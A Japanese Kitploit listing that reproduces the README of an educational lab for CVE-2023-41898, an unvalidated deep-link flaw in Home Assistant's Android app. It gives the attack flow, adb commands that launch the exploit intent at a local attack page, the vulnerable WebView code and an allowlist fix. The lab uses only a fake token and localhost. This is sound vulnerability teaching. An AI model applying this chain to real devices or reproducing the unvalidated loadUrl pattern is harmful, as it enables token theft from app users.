Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-41898_Lab — CVE-2023-41898 のウォークスルー: Home Assistant Android の未検証のディープリンクを悪用して、特権的な WebView で任意の URL を読み込み、偽のトークンを漏えいさせます。 | Kitploit
ツール/GitHubGitHub/lazybear8372/cve-2023-41898_lab
Androidセキュリティ脆弱性分析モバイルアプリペンテスト学習と教育ラボと実践
GitHublazybear8372/cve-2023-41898_lab

CVE-2023-41898_Lab

CVE-2023-41898 のウォークスルー: Home Assistant Android の未検証のディープリンクを悪用して、特権的な WebView で任意の URL を読み込み、偽のトークンを漏えいさせます。

リポジトリを見る
329日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-41898 Unvalidated Deep Link Lab

Home Assistant Companion for Androidの公開脆弱性レポート(GHSL-2023-142)と脆弱バージョン 2023.8.2 のオープンソース構造に基づいて作成した、教育用の縮小再現Labです。

実際のHome Assistantサーバー・アカウント・トークンは使用しません。LAB_TOKEN_CVE_2023_41898_NOT_REAL という固定の仮想トークンのみを公開します。

脆弱性の概要

  • 対象: Home Assistant Companion for Android
  • 影響バージョン: 2023.9.2 未満(公式勧告基準)
  • 修正バージョン: 2023.9.2
  • 分類: Unvalidated Deep Link Handling / Arbitrary URL Loading in WebView
  • 結果: 任意のJavaScript実行、限定的なネイティブ機能の呼び出し、認証情報の窃取が可能

Labの構造

root@kitploit:~
Attacker App
  │ explicit ACTION_VIEW Intent
  │ data=http://10.0.2.2:8000/exploit.html
  ▼
Victim MyActivity (exported)
  │ 検証なしで JavaScript-enabled WebView.loadUrl()
  ▼
exploit.html
  │ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
  ▼
Victim WebViewActivity (privileged WebView)
  │ 攻撃者ページに externalApp JavaScript bridge を公開
  ▼
仮想 LAB_TOKEN を表示

Android manifestのintent-filterは、どのURIが暗黙的Intentとマッチするかを定義するだけで、明示的にコンポーネントを指定したIntentのdata URIを自動検証しません。

構成要素

  • victim/: 脆弱なdeep-linkハンドラーと権限を持つWebViewを再現したアプリ
  • attacker/: 被害アプリのexported Activityに明示的Intentを送信するアプリ
  • web/: ローカルで提供する第1・第2段階の攻撃ページ
  • dist/: 検証済みのdebug APK
  • UPSTREAM.md: 元のソースとLab実装の対応関係

ビルド

要件: JDK 17以上、Android SDK 36、Gradle/Android Gradle Pluginのキャッシュ、またはインターネット接続。

root@kitploit:~
./gradlew :victim:assembleDebug :attacker:assembleDebug

インストールと演習

許可を得たエミュレーターまたはテスト端末でのみ実行してください。

1. APKのインストール

root@kitploit:~
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk

2. ローカル攻撃ページの実行

Labのルートで次のコマンドを実行します。

root@kitploit:~
python3 -m http.server 8000 --directory web

Android Studioのデフォルトエミュレーターでは、10.0.2.2 はホストPCのloopbackを指します。実際のテスト端末を使う場合は、web/exploit.html と攻撃アプリのURLをPCのLAN IPに変更してください。

3. 攻撃フローの確認

  1. CVE-2023-41898 Victim と CVE-2023-41898 Attacker アプリをインストールします。
  2. ローカルHTTPサーバーを実行します。
  3. Attackerアプリで 脆弱ディープリンクフローの実行 をタップします。
  4. 最初の攻撃ページが内部の homeassistant://navigate/ URLへ移動します。
  5. 2つ目のWebViewに攻撃者ページがロードされ、LAB_TOKEN_CVE_2023_41898_NOT_REAL が表示されることを確認します。

ADBを使用して、攻撃アプリなしで最初のステップを呼び出すこともできます。

root@kitploit:~
adb shell am start \
  -n lab.cve202341898.victim/.MyActivity \
  -a android.intent.action.VIEW \
  -d 'http://10.0.2.2:8000/exploit.html'

脆弱なコードと修正方針

脆弱な実装は外部URIをそのままロードします。

root@kitploit:~
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());

修正時には、パースされたURIのscheme、host、port、pathを厳格なallowlistで検証する必要があります。文字列の startsWith 比較は、ユーザー情報([email protected])、サブドメイン、およびエンコーディングによる迂回のリスクがあるため、使用しないでください。

root@kitploit:~
Uri uri = getIntent().getData();
boolean trusted = uri != null
        && "https".equals(uri.getScheme())
        && "my.home-assistant.io".equals(uri.getHost())
        && uri.getPort() == -1
        && uri.getPath() != null
        && uri.getPath().startsWith("/redirect/");
if (!trusted) {
    finish();
    return;
}

さらに、WebViewから不要なJavaScriptと JavascriptInterface を削除し、すべてのナビゲーションとリダイレクトにも同じURL検証を適用する必要があります。

安全範囲とオリジナルとの違い

  • 元のアプリ全体をビルドせず、脆弱なデータフローのみを小さなJavaプロジェクトとして再現しました。
  • 実際のパッケージ名、認証ストレージ、サーバー通信、およびスマートホーム機能は含みません。
  • 実際の認証トークンの代わりに、固定された仮想トークンのみを使用します。
  • インターネット上の攻撃サーバーではなく、ホストPCのローカルHTTPサーバーのみを使用します。

参考資料

  • GitHub Security Lab GHSL-2023-142: https://securitylab.github.com/advisories/GHSL-2023-142_Home_Assistant_Companion_for_Android/
  • Home Assistant セキュリティ勧告 GHSA-jvpm-q3hq-86rg: https://github.com/home-assistant/core/security/advisories/GHSA-jvpm-q3hq-86rg
  • 脆弱バージョンのソースタグ 2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2
ツールをダウンロード